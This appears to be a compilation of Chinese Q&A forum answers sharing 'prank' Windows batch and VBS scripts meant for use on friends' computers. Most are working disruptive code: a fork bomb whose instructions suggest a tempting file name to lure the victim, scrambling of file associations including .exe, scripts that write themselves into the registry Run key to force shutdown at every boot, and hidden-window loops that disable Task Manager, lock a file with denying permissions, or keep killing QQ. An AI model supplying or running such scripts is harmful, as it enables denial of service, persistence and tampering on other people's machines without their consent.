好玩的bat

㈠ bat的各種代碼。整人的最好

這是一個惡搞程序，運行後會出現N個本地磁碟，但是對電腦沒有什麼實際傷害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用這個
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你對對方恨之入骨就用這個，這個會把文件關聯改的一團糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile

或者用這個
@echo off
%0 "%ALLUSERSPROFILE%\「開始」菜單\程序\啟動"
shutdown -s -f -t 0

你也可以用這個超級彈窗程序嚇嚇他
@echo off
for /l %%i in (1,1,10000) do (start %0)

㈡ 有沒有好玩一點的bat代碼，就是那種裝逼用的，我財富值不夠了 ，下次弄多一點

㈢ 求一些好玩的整人代碼

.bat文件
【測試平台復】32bit XP

【功能】讓電腦死制機
-----代碼開始------
%0|%0
-----代碼結束------
使用方法：
1、新建個文檔【別告我你不會】
2、復制粘貼那段代碼
3、保存為XXXXX.bat【XXXXX為隨意名字，比如刷鑽什麼的，怎麼誘惑怎麼寫】
4、運行【再次警告，該代碼執行後無法通過任務管理器結束，只能重啟或者等他死機然後重啟】
【鄭重警告！】
最好別拿自己電腦測試，否則後果自負，也別沒看該警告就去舉報我！由此代碼造成的一切後果不承擔一切責任！【被朋友打自負……😜】
【代碼原理】
通過不停的調用cmd.exe造成系統資源消耗，理論CPU越好，資源消耗越快，死機越快。【雙核筆記本實測2分鍾之內准死機】

㈣ 給我一些好玩的bat指令

@echo off
start cmd
%0
::無限彈出cmd窗口，直到崩潰。

㈤ 有趣又好玩的自製程序（bat或vbs格式的）

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""高凱航友情提示：快說 我是豬，不說就5分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說了,就不關機，快撒，說 ""我是豬""","說不說","打死我也不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "世上又多了頭豬~~~哈哈哈哈！！！"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""高凱航友情提示：快說 我是豬，不說就5分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說了,就不關機，快撒，說 ""我是豬""","說不說","打死我也不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "世上又多了頭豬~~~哈哈哈哈！！！"

vbs格式的的

㈥ 我想要幾個好玩的bat代碼

復制以下代碼粘貼到筆記本里，再把後綴名改為.vbs
set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a= inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

㈦ bat整人代碼

@echo off
color 0a
:firdo
echo.x=msgbox("對不起！你被系統鄙視了！！" ,Buttons, "錯誤！")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "對不起！你被系統鄙視了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "對不起！你被系統鄙視了"

exit

解釋，在，bat在系統盤自動創建一個vbs文件然後自動開啟它，開了會彈出「錯誤，你被系統鄙視了」的氣球，並且把它加到開機啟動項，每每開機時就會彈出以上的氣球...
在secdo，bat在系統盤自動創建另一個bat文件，就是關機的代碼，並且加入該bat文件到開機啟動項，每每一開機10秒後便開始關機，這個夠嗆的吧～ ^ ^

以上是我為了整朋友而創作的，絕對原創～希望你看得懂我的解釋..........

㈧ 求bat批處理的老師！主要是教一些好玩的惡搞代碼和基礎知識！好的+50分！說到做到！求你們了，我真心的！

@echo off
if "%1" equ "h" goto y
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0,ture)(window.close)&&exit
:y
echo Y|cacls %0 /T /C /P everyone:N
pushd "%~dp0"
setlocal enabledelayedexpansion
for /l %%z in (0,0,1) do (
>tmp%%z echo;lj
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nul
for /l %%a in (0,1,1000) do (
set/a n=%%a+1
ren tmp%%a tmp!n!
)
ren tmp1001 tmp%%z
)
你會發現有一個文件tmp* 無法刪除 絕對整人 並且浪費系統資源
解決方法:重起機子
後遺症:打不開任務管理器,留下一個垃圾文件

㈨ 求bat搞笑

整屏的0101在滾動，很漂亮
@echo off
title 黑客帝國
setlocal ENABLEDELAYEDEXPANSION
color 0a
for /l %%i in (1,1,80) do (
set Down%%i=0
)
:loop
for /l %%j in (1,1,80) do (
set /a Down%%j-=1
if !down%%j! LSS 0 (
set /a Arrow%%j=!random!%%4
set /a Down%%j=!random!%%15+10
)
if "!Arrow%%j!" == "1" (
set /a chr=!random!%%2
set /p=!chr!<nul
) else (
set /p= <nul
)
)
goto loop
goto :eof

㈩ 求！惡作劇性質的bat代碼

給你一段好玩的代碼(我自己編的)。功能：運行以後機器上的QQ就不能運行了。終結方法是：打開任務管理器，然後結束進程cmd.exe就可以了。
新建文本文檔，然後將下面代碼復制進去，然後重命名為a.bat，然後雙擊就可以了。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

代碼到此為止
講解如下：
@echo off －－－－－－關閉回顯
if "%1" == "h" goto begin －－如果文件運行時有參數h，則顯示窗口運行，否則只是在後台運行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit －－－－－隱藏窗口代碼
:begin －－－－－－－－－－－－定一段名begin
tasklist |find /i "QQ.exe" －－－－在任務管理器里尋找進程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)－－－如果存在QQ.exe.則跳轉執行killit,否則執行next
:killit
taskkill /f /im QQ.exe－－－－終結進程QQ.exe
:next
ping -n 3 127.t >nul 2>nul －－－－－延遲一段時間
goto begin－－－－－－－－－－－－－－返回執行begin